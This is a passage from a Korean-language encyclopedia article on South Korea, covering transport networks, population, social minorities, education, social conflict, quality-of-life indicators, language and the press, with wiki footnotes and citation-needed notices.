공업을 기반으로 하는 수입 대체 산업이 발달하였다. 70년대에는 중화학 공업, 제조업, 수출 위주의 공업정책이 진행되었다. 1980년대 이르러 섬유, 의류 산업뿐 아니라 전자 제품, 건설, 중화학 공업이 발달하게 되었다. 동반 성장 대한민국의 골목 상권은 정부가 개입, 규제하지 않는 시장경제를 채택하였고 군사정권 몰락 이후 이러한 시장경제 체제가 대폭 확산되고 있다. 따라서 기업형 슈퍼마켓(SSM), 빵집 등, 프랜차이즈와 대기업의 다양한 분야 시장 독과점화가 진행되고 있다는 지적도 있다. 이에 따라 정부는 2010년 동반성장위원회를 출범시키고[53], 중소기업적합업종을 선정[54], 대통령이 직접 언급 하는[55] 등 제재가 가해지고 있다. 이에 일부 대기업이 속속 사업에서 철수하는 모습을 보이고 있으나[56] 기업형 슈퍼마켓 기업은 중소 업체를 사들이는 등 여전히 많은 대기업은 몸집을 불려나가고 있다는 지적도 있다.[57] 교통 이 부분의 본문은 대한민국의 교통입니다. 고속도로 노선도 육상 교통 도로 국도 제35호선 우회도로 대한민국의 일반 국도, 대한민국의 고속도로, 대한민국의 도로 문서를 참고하십시오. 대한민국에는 우측 통행을 하며, 자동차 운전석은 왼쪽에 있다. 4,000km에 달하는 31개의 고속도로 및 국도, 지방도 등의 도로가 있어 대한민국의 교통을 담당하고 있다. 현재 경부고속도로는 노선의 일부[58] 이며 국도 제7호선은 노선의 일부이다. 1990년대 이후 민간 자본을 투자한 민자 고속도로와 민자 역사 시설 운영도 진행되고 있는 한편, 공기업 형태의 도로교통공단이 기타 도로·철도 시설의 안전을 관리하고 있다.[출처 필요] 버스 메트로버스 200번 대형차량 (현재 폐선) 전국적으로 버스의 하루 평균 이용객 수는 1462만명이다. 과거에는 현금과 함께 회수권과 토큰을 사용했으나 최근에는 교통카드를 이용하는 지역이 대부분이며 현금도 대부분 사용 가능하나 환승 혜택이 없다. 또한 교통카드를 통한 환승 할인 혜택 등으로 사용자를 유도하는 중이다. 또한 이를 통한 도시철도와의 연계를 목적으로 수도권의 버스 노선 체계는 이명박 전 서울시장을 중심으로 완전히 재편되었고 수도권 통합요금제가 수립되게 되었다. 현재 버스 체계는 크게 시내버스와 시외버스로 나눌수 있으며 시내버스 특정 지역의 면허에 귀속된다. 또한 비교적 작은 지역에서의 운행을 위한 마을버스도 부산, 서울, 경기도 등에서 운행되는 중이다. 시내버스의 경우 시계를 넘어서면 시계 추가 요금이 부과되며 서울, 경기도, 인천의 시내버스는 거리에 따른 추가 요금이 부과된다. 시외버스는 시외버스터미널이나 시외버스정거장에서 주로 승하차가 이루어지며 대부분 교통카드를 사용할 수 없지만 가끔씩 사용 가능한 노선도 있다. 현재 대한민국의 버스 회사 중에서는 KD그룹이 가장 규모가 크며 대한민국내 여객용 버스의 10%를 소유하고 있으며 경기도 노선의 절반을 관리한다. 또한 현재 자가용 이용자들을 대중교통으로 유도하기 위해 버스전용차로제를 도입했다. 최근에는 장애인들을 배려하기 위하여 저상버스를 도입하는 자치 단체들이 생기고 있으며 수도권의 도심 지역의 혼란이 극심한 대한민국의 상황에 걸맞은 굴절버스를 수도권 일부 지역에서 도입하였으나 대부분 비용 문제 등으로 취소되었다. 철도 한국철도공사는 시속 300km의 KTX 열차를 도입하였다. 대한민국의 철도 문서를 참고하십시오. 대한민국의 철도 및 광역전철의 총 연장 길이는 3,000km에 달한다. 이러한 대한민국의 철도시설은 1963년 9월 1일 교통부 산하에 철도청을 신설하여 이때부터 국가가 체계적으로 관리하였으나 2005년에는 기업체로 전환하여, 공기업의 형태인 한국철도공사와 한국철도시설공단에서 국유 철도를 관리하고 있다. 특히 경의선 철도는 평부선·평의선과 시베리아 횡단철도와의 연결을 추진하고 있다.[59] 대한민국의 대표적인 철도선에는 경부선, 호남선, 중앙선, 장항선, 경전선, 경춘선, 충북선, 그리고 전라선이 있다. 또 2016년 12월에는 한국철도공사가 자본을 출자하여 설립된 민간기업 SR에서 운행하는 SRT가 개통되며 철도경쟁시대가 도래했다. 대한민국의 도시철도는 수도권지역과 부산지역, 대구광역시, 대전광역시, 광주광역시 등에서 운행되고 있다. 시내를 운행하는 도시철도를 일컬어 '지하철' 또는 '전철' 등으로 부르기도 한다. 1974년 8월 15일 처음으로 개통된 수도권지역은 1~9호선과 분당선, 중앙선, 경의선, 경춘선, 인천 1호선, 인천국제공항철도, 신분당선, 수인선, 용인경전철, 의정부경전철 까지 총 19개 노선이 운행되고 있으며 전국에서 가장 규모가 크다. 기본요금은 평균적으로 교통카드 이용시 최초 10km까지 1050원, 그이후 5;km 초과시마다 100원씩 추가된다. 그러나 민영 도시철도인 신분당선은 기본요금이 1,750원이고, 다른 노선에서 신분당선으로 환승할 경우 700원이 추가된다.[60] 수도권 전철은 인천 도시철도, 인천공항, 김포공항과도 연결된다. 1985년 개통된 두 번째로 큰 부산 도시철도는 총 길이 131.7km에 1호선, 2호선, 3호선, 4호선, 부산김해경전철 5개 노선이 운행되고 있으며, 이외에도 대구지하철 1호선, 2호선 2개 노선이 운행되고 대전지하철 1호선 1개노선이 운영, 광주1호선 1개 노선 운행 등 일부 광역시들을 중심으로 도시철도가 계속되어 건설중이다. 요금은 각 지자체에서 따로 규정하여 조금씩 다르다. 복지 정책으로 65세 이상의 노인과 장애인, 국가유공자는 무임으로 승차할 수 있다.(부산-김해 경전철은 노인도 유임승차) 서울 9호선 고속터미널역의 내부모습. 대한민국의 도시철도는 대체로 운행 시간이 정확하고 위생환경과 전반적인 이용이 쾌적하다는 긍정적인 평가를 받으나 실내먼지 오염농도가 높고, 출퇴근 시간에 사용자가 많은 일부 역에서 극심한 혼란이 빚어지는 등 개선점도 지적되고 있다. 또한, 과거에는 의자 등의 내부 자제들을 합성수지로 된 쿠션을 많이 사용하였으나 2003년 대구 지하철 화재사고 이후로 모든 자제들을 불연성 재질로만 사용하도록 규정이 변경되어 현재 모든 지하철과 전철에 적용되어 있고 방독면이나 소화기 등도 잘 비치되어 있다. 이 외에 선로 추락 사고나 자살 등을 예방하기 위한 대책으로 현재 수도권지역의 모든 역에 스크린도어를 설치 하였으며[61] 최근에 개통한 부산, 대구, 대전, 광주의 일부 도시철도 승강장에도 스크린도어가 설치되어있는 경우가 있고 부산 도시철도의 경우 모든 승강장에 안전펜스와 스크린도어를 설치하였다.[62] 최근에 대한민국의 지방자치단체들은 도시철도로써 건설비가 많이드는 중전철보다 경전철을 선호하여 전국 각지에서 운행중이거나, 계획과 건설이 이루어지고 있다. 항공 교통 대한민국에는 8개의 국제공항과 7개의 국내선 공항이 대한민국 내외의 항공 교통을 담당하고 있다. 항공교통은 광복 후 1948년 대한국민항공사(KNA)가 설립되어 국내선을, 1954년 이후 국제선을 운항하였다. KNA는 1962년에 대한항공공사로 개칭하고 국영으로 운영되다가, 1969년 한진상사가 인수하여 대한항공으로 개명하고 민영으로 운항되면서 급속한 성장을 보였다. 1988년 제2민간항공사업이 허가됨으로써, 금호그룹의 아시아나항공과 함께 경쟁체제로 바뀌었다. 또한 대한항공은 2007년 기준으로 약 100억 톤의 화물을 처리하였다. 최근에는 진에어, 에어부산 등 여러 저가항공사도 운행되고 있다. 해상 교통 수출입화물운송에서 절대적인 지위를 점하고 있는 해운업은 선박의 노후화, 선원부족, 비용가중이라는 내부적 문제에 비국적선 취항증가로 경영압박을 받고 있다. 2002년 말 전국의 항만수는 총 49개항이며, 이 중 무역항이 27개, 연안항이 22개항이다. 이들 항만의 연간 하역능역은 2억7,259만5,000톤으로 1988년의 1억7,077만톤보다 약 1.6배 증가했다. 선박등록현황은 총 763만 7,549톤(6,792척)이며, 이 중 여객선 12만 4,513톤(190척), 화물선 521만 4,636톤(725척)이고, 외항선박들의 주요정기항로 취항현황을 보면 북미 25척, 동남아 48척, 한일항로 55척 등이다. 사회 이 문단의 내용은 출처가 분명하지 않습니다. 지금 바로 이 문단을 편집하여, 참고하신 문헌이나 신뢰할 수 있는 출처를 각주 등으로 표기해 주세요. 검증되지 않은 내용은 삭제될 수도 있습니다. 내용에 대한 의견이 있으시다면 토론 문서에서 나누어 주세요. (2019년 2월 2일에 문단의 출처가 요청되었습니다.) 이 문단의 일부는 오래된 정보를 가지고 있어 최신 정보로 교체되어야 합니다. 검토 후 최신 사건이 반영되도록 문서를 수정해 주세요.내용에 대한 의견이 있으시다면 토론 문서에서 나누어 주세요. (2019년 2월 2일) 2010년 10월 대한민국의 총인구는 주민등록상 5000만 명을 돌파했다. 대한민국의 모든 국민은 자동으로 건강보험에 의무적으로 가입되며 국가가 피부양자로 지정된다. 초등학교 6년과 중학교 3년은 무상의무교육이다. 민주화 이후의 한국 사회는 보수와 진보의 극심한 이념 대립 등에서 기인한 사회 갈등이 존재한다. 인종이나 민족에 대한 명확한 통계는 나온 적이 없으나, 국민의 대부분은 한국어를 모국어로 사용하는 한민족이다. 고대부터 중국 대륙 등지로부터의 인구 유입도 잦았으나 그들도 같은 민족으로 융화되었다. 다만 독립 이후 중국, 동남아시아를 비롯한 제 국가로부터의 이주가 늘어나면서 다민족적인 요소 또한 증가하고 있다. 대한민국에 살고 있는 외국인은 150만 명 정도인데, 이 가운데 가장 인구가 많은 외국인은 중국인으로 그 중 상당수는 한국계 중국인에 해당한다. 그 외의 외국인으로는 미국, 일본, 인도네시아, 필리핀, 베트남, 태국, 캄보디아, 라오스, 러시아, 우즈베키스탄 등의 출신의 사람들이 거주하고 있다. 사회적 약자 노동자 2016년 8월 기준 전체 대한민국의 임금노동자는 19,627,000명으로 그 가운데 2,664,000명이 최저임금보다 낮은 보수를 받고 일하는 것으로 추산됐다고 통계청은 전했다. 고용노동부가 발표한 '2016년 전국 노조 조직현황'에 따르면 국내 전체 노조 조직률은 전년보다 0.1%포인트 오른 10.3%로 집계됐다. 노조 조합원 수는 196만6681명으로 전년보다 2만8136명(1.5%) 증가했다. 이 수치는 전교조가 법외노조가 되며 통계에서 빠진 수치이다.[63] 대한민국의 노동조합 연맹체로는 전국민주노동조합총연맹(민주노총), 한국노동조합총연맹(한국노총) 등이 있다. 성소수자 이 부분의 본문은 대한민국의 성소수자입니다. 성 소수자, 동성애 혐오#한국의 동성애자 탄압, 청소년 성소수자의 자살 문서를 참고하십시오. 대한민국에서는 수구, 기독교 근본주의 세력에 의한 성소수자 혐오와 차별 등이 존재해 왔다. 대한민국에서는 2000년 홍석천, 하리수, 이시연 등의 등장 이전에는 성소수자라는 사실을 밝히기만 해도 주변에서 따돌림, 학교 폭력에 노출되거나 취업 등에 불이익 등을 받아왔다. 성소수자들은 1992년 이후 본격적으로 한국 사회에서 목소리를 내기 시작하였으며, 1993년 성소수자 단체 초동회가 처음 결성되고 1년 뒤에는 남자 동성애자인 게이, 트랜스젠더 모임인 친구사이와 레즈비언 단체인 끼리끼리로 분리되었다. 1997년에는 대학생 동성애자 인권단체인 대학생동성애자인권연합이 결성되고 이듬해 동성애자인권연대로 명칭 변경, 2015년 행동하는 성소수자 인권연대로 명칭 변경하였다. 1998년 5월 17일에는 성소수자 인권 운동가 오세인이 1997년 자신이 게이임을 가족에게 밝혔다가 추방당한 후, 활동하던 단체 사무실에서 자살하였고, 2003년 4월 26일에는 동성애자를 악마, 사탄 등으로 비판하는 개신교계의 공격과 동성애를 청소년 유해 단어, 음란물로 지정하려는 움직임 등 성소수자 혐오에 저항하는 활동을 하는 시인 겸 작가 육우당이 끝내 자살하게 되는 사건이 있었다. 2000년 이후 자신이 게이임을 커밍아웃한 홍석천을 시작으로 트랜스젠더인 하리수, 이시연 등의 공개적 활동 등으로 성소수자들에 대한 맹목적 거부감이 사회적으로 서서히 사라지기 시작하였다. 이후 일부 단체와 일부 사회 인사들을 중심으로 성소수자들의 활동을 지지, 성소수자 문화제 개최 등의 행사가 본격 등장하였다. 현재, 대한민국 내 대표적인 성소수자 인권단체 연맹체로는 성소수자 차별반대 무지개행동 (무지개행동)이 있다. 여성 대한민국의 기득권층에서의 여성의 활약이 미미하다고 분석되는데, 2017년 이코노미스트 유리천장 지수에서 한국의 고위직 여성 비율은 10.5%, 기업 이사회 내 여성 임원 비율은 2.4%로 나타나 OECD 29개국 중 최하위를 기록했다. 대한민국 국회 내 여성 비율은 17%로 이는 OECD 평균(28.2%)보다 낮은 수치다. 근 십여 년간 대한민국의 대기업들이 외국인 임원과 여성 관리자를 뽑았지만 그 중 상당수는 몇 년도 버티지 못했다. 2010년 SK의 첫 외국인 여성 임원(2008~2010년)이었던 린다 마이어스는 "한국 기업은 다양성 문제에서 너무 보수적이고 변화에 느리다"고 평가했다.[64] 이주민 중화권, 일본, 동남아시아, 아랍, 독립국가연합 등을 비롯한 세계 여러지역의 사람들과 결혼하는 한국인이 늘고 있으며, 이러한 새로운 형태의 가정을 '이주가정'이라고 부른다. 특히 농촌 지역 기준 결혼 등록건수의 50%에 해당하는 1만여 건 정도가 국제결혼으로 등록되고 있다. 1990년대 초까지 남아선호사상이 잔존하였으며, 1970년대의 박정희 정부의 '둘만 낳자'는 가족 계획과 1980년대 전두환 정부의 '하나 낳아 알뜰살뜰' 등의 가족 계획으로 여자 아이에 대한 낙태 현상 등으로 1970년~1990년대 초반 출생자들 사이에서는 남녀 간의 성 비율이 깨져 여성에 비교하여 남성의 수가 월등히 많은 현상이 도래하였다. 또한 1980년대 후반부터 농촌 기피 현상으로 일부 농촌 지역 노총각들이 결혼, 연애가 어려운 것에 비관하여 자살하는 일이 증가하였으며, 1990년대 이후에는 외국에서 배우자를 찾는 농촌 총각들이 증가하였다. 이주노동자는 1990년대 이후 국민들의 생활수준이 전반적으로 향상되면서 1970년대 이후 고졸이던 평균 학력이 1995년 고교평준화와 학력고사 등의 폐지 이후 대졸 내지는 초대졸로 변화하였다. 그에 따라 청년층이 '3D 업종' 또는 '4D 업종'으로 분류되는 직업을 기피하는 현상이 발생하고 있다.[65] 또한 3D 업종과 4D 업종으로 분류되는 직종 외에도 중소기업과 일부 공장 등에 대한 기피현상이 두드러지게 나타나고 있다. 그로 인해, 각지에서 많은 이주노동자들이 대한민국에 들어와 일하고 있다. 이들은 합법적으로 취업 비자를 받고 입국한 산업연수생과 불법적으로 들어온 불법 체류자로 나뉘는데, 일반적으로 이주노동자라 하면 이들 둘을 통틀어 가리킨다. 2010년 기준으로 대한민국의 이주노동자 수는 55만 명으로, 전체 경제활동인구의 2.2%를 차지하고 있다. 일각에서 이주노동자가 일자리를 빼앗아 간다는 견해가 있음에도 불구하고 이주노동자의 비율은 10% 대를 넘지 않고 있다. 난민 대한민국 내 난민의 대부분은 북측에서 나온 탈북자로, 정부에서는 이들을 특별 취급하여 국적 부여, 생활 지원 등 다양한 혜택을 부여하고 있다. 또한 1990년대 이후 정치적 난민을 인정하기 시작하여 아프리카나 아랍권의 일부 국가로부터 정치적 혹은 종교적 박해를 피해 입국한 이들을 인도적으로 받아들이고 있으나 그 수는 일반적인 선진국에 비해 많지 않다. 인구 이 부분의 본문은 대한민국의 인구입니다. 2012년 6월 23일을 기준으로 대한민국 통계청은 총인구가 5000만명을 돌파했다고 발표했다. 이는 세계 194개국 중 26위이다. 광복 직후에는 해외 동포들이 귀국하고, 6.25전쟁 때에는 조선민주주의 인민공화국인들이 많이 월남했는데 광복 직후에는 약 180만 명, 6.25전쟁에 약 100만 명이 남쪽으로 내려왔다. 1960년대 이후 대도시에 인구가 집중하게 되는 도시화 현상이 일어났으나, 최근에는 쾌적한 생활을 위한 역도시화 현상도 나타나고 있다. 1970년 이전까지 5백여만 명이던 서울의 인구는 1988년에 1천만 명을 돌파하였다. 이후 서울의 인구 증가는 정체 상태에 있으나, 인근 경기도의 인구가 급증하여 2007년 10월말 현재 수도권 거주 인구는 2390만 3785명으로 전국 인구의 48.6%를 차지하였다. 인구 밀도는 503명/km2이다. 1990년대 들어 감소 경향을 보이던 서울의 인구는 2000년대 들어 소폭 증가하기 시작, 2009년에는 1046만명으로 6년 연속 증가했다. 인구 유입등으로 수도권 전체 인구는 증가하는 반면 부산은 지속적 감소로 1995년 381만 명에서 2013년 356만명으로 급감했으나 대신 인근 경상남도 지역의 인구가 증가하고 있다. 대구 역시 253만명에서 252만명으로 줄어들었다. 인천은 약 298만명, 대전 155만명, 광주 148만명 울산 117만명 등이다. 대한민국의 도시화율은 81.5%로, 전 세계적으로 매우 도시화된 국가에 속한다. 대한민국은 1970년을 전환점으로 하여 2% 미만으로 인구 증가율이 감소하는 추세를 보이고 있다. 2009년 기준으로 합계출산율(여성 한 명이 평생 동안 낳는 자녀 수)은 1.19명으로 전년에 비해 0.06명 감소했다. 최근 3년간 출산율이 증가 하였으나 경제위기로 인해 출산율이 감소한 것으로 보인다. 2009년의 출산율은 종전의 2008년 1.19보다도 떨어져 1.15를 기록했다. 출생아수는 445,200명(통계청)으로 여전히 세계 최저수준의 출산율을 기록하고 있어 인구 감소에 큰 영향을 미칠 것으로 전망된다. 통계청의 2009년 10월 출생아수가 40200명에서 40100명으로 축소 수정 발표된 이후 잠정 통계치에서는 37700명으로 2차 축소 수정 발표가 되어 1차 발표치보다 2500명이 줄어들어 발표되었다. 2016년 4월, 행정자치부의 정보에 의하면 현재 대한민국의 인구는 약 51,584,349이고 2017년 2월 행정자치부에 따르면 51,712,221명이다. 도시의 인구 순위 이 부분의 본문은 대한민국의 인구순 도시 목록입니다. 교육과 문화 이 부분의 본문은 대한민국의 교육입니다. 초등학교 6년과 중학교 3년이 의무교육이다. 고등학교는 3년 과정이며, 일반계(인문계, 자연계)·전문계(실업계)·특수 목적 고등학교(특목고)로 분리되어 있다. 고등교육에는 4~6년제 대학교와 2~3년제 전문대학이 있다. 2005 년 인구주택총조사에 따르면, 교육을 받는 정규학교 재학자는 1089만 명(24.7%), 졸업자는 2987만(67.8%), 중퇴자는 96만 명(2.2%)이고, 졸업자는 초등학교 및 중학교 졸업자는 750만 명(24.5%), 고등학교 졸업자는 1263만 명 (41.2%), 대학 졸업 이상은 1050만 명(34.3%)을 나타내는데, 이는 교육 수준이 상당히 높은 것으로 볼 수 있다. 하지만 이러한 높은 교육수준은 대한민국의 교육정책에 의해서 기인된 현상으로 보는 경우가 많으며, 현재에는 오히려 학력인플레이션으로 인해 청년실업의 증가가 사회의 심각한 문제로 대두되고 있다. 대한민국은 대학교 진학률이 다른 국가에 비해 상당히 높은 편이다. 일반적으로 대학교에 진학하려는 사람들은 대학수학능력시험(수능)을 치르게 된다. 대학수학능력시험은 고등학교 졸업 예정자 혹은 고등학교 졸업에 상응하는 학력을 가진 사람이면 누구나 치를 수 있다. 이 외에도 각 대학에서는 수시입학전형, 특별전형 등을 통하여 개별 대학의 요구에 맞는 학생들을 선발하고 있다. 또 대한민국은 사교육 시장이 크게 발달되어있어, 사교육에 들어가는 비용이, 각 가정마다 월평균 70여만원을 웃돌고 있다.[66] 복지 이 문단은 비어있습니다. 내용을 추가해 주세요. 사회 갈등 미국산 소고기 수입 반대 촛불 집회 민주화 이후의 한국 사회는 우파와 좌파의 극심한 이념 대립 등에서 기인한 사회 갈등이 존재한다.[67] 2000년대 들어서 이러한 갈등은 고도로 발달된 인터넷 여론에 기반한 전국적인 규모의 촛불 집회로 종종 표출되었다. 이러한 대한민국의 대규모 촛불 집회에 대한 평가는 이념 진영에 따라 판이하게 다르다. 촛불 집회에 대하여 좌파진영은 시민들의 민주 의식 신장에 따른 자연스러운 현상[68]으로 민주주의의 필수 요소인 시민의 적극적 참여를 이끌어 냈다는 점, 인터넷을 통해 직접민주주의에 다가갔다는 점에서 긍정적으로 평가한다. 하지만 우파진영은 선동에 의한 자유민주주의의 왜곡과 특정 정파 이해집단의 욕구를 위한 창구로 활용된다는 점을 들어 사회 혼란, 경제적 손실을 초래했다고 평가한다.[69] 또한 한국의 노사갈등에 대하여 상당수의 국민들이 문제라고 인식하고 있으며,[70] 국제경영개발원에 의하면 한국의 노사관계는 57개국 중 56위로 선정되어 시급한 문제로 꼽히고 있다.[71] 이념 대립의 연장선에서 자유민주주의의 실현 방식에서 국가주도의 사회운영과 성장을 주장하는 국가주의세력과 개인의 자유에 따른 사회운영을 주장하는 동시에 분배를 중시하는 자유주의·진보주의 세력간 논리의 충돌도 있다. 이는 서방세계와 같은 좌우대립의 이념지형이 제대로 형성되지 않은데서 기인한 사회 갈등인데 그 원인으로 일각에서는 대한민국이 반공반북을 중요시하여 좌파의 존재를 부정해야 하는 환경이 장기간 지속되었고 1980년대 학생·노동운동 진영에 의해 만들어진 좌우대립의 이념지형도 1990년대 초 세계적인 공산주의의 몰락으로 사라져 서방세계와 같은 이념지형이 형성되지 못했기 때문이라고 보고 있다.[72] 갈등·소통 지수 대한민국의 갈등 지수는 2009년 삼성경제연구소가 조사한 결과 OECD 회원국 중 4위에 해당하였으며, 이 같이 높은 사회 갈등에 따른 비용으로 국내총생산(GDP)의 27%인 약 300조원을 지출하고 있는 것으로 나타났다.[73] 대한민국의 소통 지수는 2011년 아시아포럼21이 조사한 결과 100점 만점 중 이명박 정부의 소통 지수는 45.8점, 한나라당의 소통 지수는 42.6점, 기성세대와 젊은세대 간 소통 지수는 36.2점으로 모두 50점 이하인 걸로 나타났다.[74] 사회 지표 삶의 질 삶의 질은 2011년 8월 21일 기획재정부가 한국개발연구원(KDI)에 의뢰해 순위를 매긴 결과, 경제협력개발기구(OECD)와 주요 20개국(G20) 회원국 39개국 가운데 27위에 그친 것으로 나타났다. 대한민국의 삶의 질은 지난 2000년과 2008년 모두 27위로 하위권에 머물렀었다.[75] 행복 지수 행복지수는 OECD 평가 국민 행복도에서는 34개 나라 중 26위, 영국 NEF재단의 행복도 조사 결과에서는 68위, 미국 포브스의 행복순위 조사 결과에서는 56위, MBN과 매일경제신문의 국민 행복지수 조사에서는 5점 만점에, 3.4점으로 해외 평가선 낙제점을 겨우 면한 수준으로 나타났다.[76] 어린이·청소년 행복지수는 한국방정환재단과 연세대 사회발전연구소가 2011년 3월 ~ 4월 간 조사한 결과 OECD 23개 회원국 중 23위로 최하위에 해당하였다.[77] 이혼율 이혼율은 OECD 국가 중 2000년 8위[78], 2001년 4위[79],[80] 자살률 대한민국의 자살 문서를 참고하십시오. 대한민국의 자살률은 전 세계 6위이다.[81] 그 외 사회복지 지출은 34개국 중 33위이나 사회복지 지출 증가율은 34개국 중 4위로 나타났다. 부패지수는 30개국 중 22위(부패지수가 높을 수록 청렴하다.), 공동체 구성원 간 신뢰도는 19개국 중 13위, 법치에 대한 인식은 34개국 중 25위로 나타났다.[48] 심리 인종 차별이 다른 아시아 국가에 비해서 유독 심하며, 백인은 차별이 거의 없으나, 흑인 및 황인은 오히려 차별을 당하는 경우가 많다.[82] 또한, 한국어를 모르는 아프리카 및 동남아시아 사람들에게도 차별 대우를 하는 경우가 있으며, 유럽 같은 경우에는 차별이 그렇게 심하지 않다. 경쟁 심리도 심각하다. 대한민국은 어려서 부터 성적, 경쟁 위주의 교육과 문화 속에서 성장하게 함으로써 경쟁과 그 속에서 살아남는 법을 배우게 한다. 이에 따라 남과 나를 비교하며 오직 높은 곳만을 추구하게 되는데, 이는 성인이 되어서 학력위주 경쟁, 스펙위주 경쟁, 실적위주 경쟁, 외모지상주의, 물질만능주의 등으로 획일화 된다.[83][84][85][86] SBS와 한국갤럽이 2011년 천 명을 대상으로 설문조사한 결과, 우리 사회의 경쟁 수준은 평균 76점으로 10년 전보다 20점 가까이 높아져 경쟁이 계속 가속화 됨을 보여주었으며, 국민 10명중 8명이 "과도한 경쟁에 부담을 느낀다"고 대답하여 상당수가 부담감을 느끼는 것으로 나타났다.[84][87] 경쟁은 모두를 스트레스 속에 놓이게 하며, 장기간 스트레스는 매우 예민해지게 만들고, 분노, 불면증, 우울증 등의 신체·정신적 증상을 동반하게 된다.[88] 그래서 이를 담당하는 정신과 진료와 심리 상담 치료의 횟수가 늘어나고 있으나, 여전히 언덕위의 하얀집으로 불리는 등 차별의 대상이 되고있어 상당수가 기피하는 실정이다.[89][90][91] 또 경쟁은 다수의 패배자를 생산하게되는데, 이는 다수의 자존감 저하와 수치심, 분노심 상승의 원인이 되고있다.[83][84] 결국 사회 전반의 동질성 추구와 이질성 거부 심리, 경쟁 심리는 복합적으로 작용하여 외국인 차별, 왕따, 학교 폭력, 인터넷 악플 등으로 표출되고 있으며, 이에 따른 피해로 정신 이상자의 수를 늘리거나, 그런 정신 이상자를 방치하게 되어 자살자를 늘리거나, 사회에 불만을 품고 불특정 다수에게 행하는 묻지마범죄의 수를 늘리는 결과를 가져오고있다.[92][93] 이에 유엔 아동권리위원회는 2011년 10월 '대한민국 3, 4차 정부보고서에 대한 아동의 권리에 관한 협약 최종 견해'라는 보고서를 통해 학생의 성적에 따른 차별과 경쟁적인 교육체제에 대해 지적하며 개선을 요구하였다.[94][95] 대응 학력 차별에 대한 대응으로 이명박 대통령은 2011년 라디오 연설에서 '학력차별 없는 사회'를 강조하였으며, 고용노동부가 고등학교 직업 교육에 지원을 강화하는 등 능력 중심의 열린 고용 지원에 나서고 있다.[96] 하지만 백혈병이 생겨 산업 재해로 인정 받는 학생이 나오는 등 고등학교 현장 실습이 노동력 착취 수단으로 이용되는 경우가 많은 상황이다.[97] 2011년 정부에 의해 명칭을 '정신과'에서 '정신건강의학과'로 변경하는 등 다양한 진료를 하는 분야임을 알리기 위한 시도를 하고 있으며,[98] 남녀 심리,치료,범죄 심리 등 다양한 방송 프로그램 주제로 사용하거나,[99] 교수가 직접 매체로 나와 강의를 하는[100] 등 대중에게 다가가기 위한 노력을 지속하고 있다. 이러한 결과로 과거 대학교의 비인기 학과였던 '심리학과'가 상위 경쟁률을 기록하고, 관련 주제의 책이 대거 출간되고, 베스트 셀러에 오르는 등 인기가 높아지고 있다.[99] 여가 한국콘텐츠진흥원이 2011년 발표한 자료에 따르면 대한민국 국민 전체의 여가 시간에 즐기는 활동 중 게임이 29.9%로 가장 높았다. 연령별 연령별로는 30대 미만의 경우 역시 게임이 가장 높게 나타났다. 반면 30대 이상 연령층은 영화와 TV 시청을 선호하는 것으로 나타났다. 스크린 다이제스트의 자료에 따르면 대한민국 1인당 영화 관람 횟수는 2013년 4.12편으로 미국의 3.88편을 제치고 세계에서 영화를 가장 많이 보는 것으로 나타났다.[101] 자신의 여가생활에 대한 불만족 이유들로는 ‘시간 부족’ 비율이 45.9% 였고, 그 다음으로는 ‘경제적 부담’이라는 이유가 45.6%로 나타났다.[102] 문화 이 부분의 본문은 한국의 문화입니다. 1948년 이전 한반도를 중심으로 한 한민족의 문화에 관해서는 한국의 문화 문서를 참고하십시오. 강릉 경포대 서당(書堂), 단원풍속도첩(檀園風俗畵帖), 종이에 담채, 1780년경 김홍도 작. 한국은 반도에 있는 지리적 조건으로 대륙 문화와 해양 문화의 영향을 모두 받았다. 고대의 한국 문화는 시베리아, 중앙아시아의 북방계와 동남아시아의 남방계가 혼합된 바탕에 중국 등 이웃 나라에서 들어온 외래 문화와 한국 고유의 독자적 문화와 융합하여 발전했다. 언어 이 부분의 본문은 한국 § 언어와 문자입니다. 훈민정음(訓民正音) 관습적인 공용어이자 법적인 공용어는 한국어로, 그 계통이 학계에서 확증되지 않은 고립된 언어이지만 많은 학자들이 알타이어족과 연관성 있음을 주장한 바 있고, 특히 많은 한국인 학자들은 한국어가 알타이어족에 속한다고 보고 있다. 한국어 표기에 쓰이는 문자인 한글은 세종대왕이 원로대신들의 반대를 무릅쓰고 언문청(諺文廳) 또는 정음청(正音廳)을 설치하여, 훈민정음이라는 명칭으로 1446년 반포하였다. 한글은 각 자음과 모음이 하나의 기호로 표시되고, 그 자음과 모음을 모아써서 소리를 나타내는 표음문자이다. 한글의 자음은 발음기관의 모양을 본뜨고 모음은 천(하늘:ㆍ),지(땅:ㅡ),인(사람:ㅣ)을 나타내는 각 부호의 조합으로 만든, 세계에서 유일하게 그 창제 원리가 밝혀진 문자이다. 한글 창제 이전에는 삼국 시대 혹은 그 이전부터 써왔던 한자와 이를 당시의 한국인이 쓰던 입말에 맞는 한자의 소리만 따서 문자로 표기한 향찰, 구결, 이두 등이 한국어 기록 수단이었다. 한자는 훈민정음 창제 이후에도 양반층 및 관공서에서 계속 써왔으며, 1894년 갑오개혁 이후에야 비로소 공문서에 한글을 쓰기 시작했다. 일부에서는 글의 이해를 돕는다는 측면에서 한글 대신 한자로 직접 표기하기도 한다. 1962년 3월 1일 박정희 대통령의 한글전용정책이 시행되면서 표기문자의 주류로 등장했고, 현재 한자 표기는 중의적 표현을 막기 위해 부수적으로 쓰고 있다.(한글맞춤법 참고) 초등학교 3학년부터 중학교, 고등학교에서는 영어를 제1외국어로 의무 교육으로 가르치고 있으며, 대한민국에서 교육하는 영어는 미국식 영어를 기준으로 하고 있다. 중학교에서부터 선택하여 배울 수 있는 제2외국어로는 중국어, 프랑스어, 독일어, 일본어, 스페인어, 러시아어, 아랍어 등의 7개 언어가 있다. 고등학교에서도 제2외국어를 배울 수 있으며, 대학수학능력시험때 수험생이 제2외국어를 선택할 수도 있다. 특히 일본어와 중국어는 대한민국 국민들이 가장 많이 배우는 제2외국어이기도 하다.[103] 언론 이 부분의 본문은 대한민국의 언론입니다. 대한민국 헌법에 의하면 언론의 자유를 인정하는 것과 더불어 집회, 결사, 표현의 자유를 허용하고 있다. 대한민국의 일간 신문은 크게 전국지와 지방지로 나뉜다. 전국지는 대한민국 전국을 대상으로 발행되며, 지방 소식을 전달하기 위해 일부 지면을 할애한다. 지방지는 특정 지역에 연고를 둔 신문으로 전국적인 뉴스를 다루기도 하지만 주로 해당 지역의 뉴스를 다룬다. 전국지로는 조선일보, 중앙일보, 동아일보 등의 보수적인 신문, 이른바 '조중동'과, 한겨레, 경향신문 등의 진보적인 신문, 이른바 '한경오'으로 분류되고 있다. 2008년 한국언론재단에서 조사한 자료에 따르면 시장점유율은 조선일보 11.9%, 중앙일보 9.1%, 동아일보 6.6%, 경향신문 2.7%, 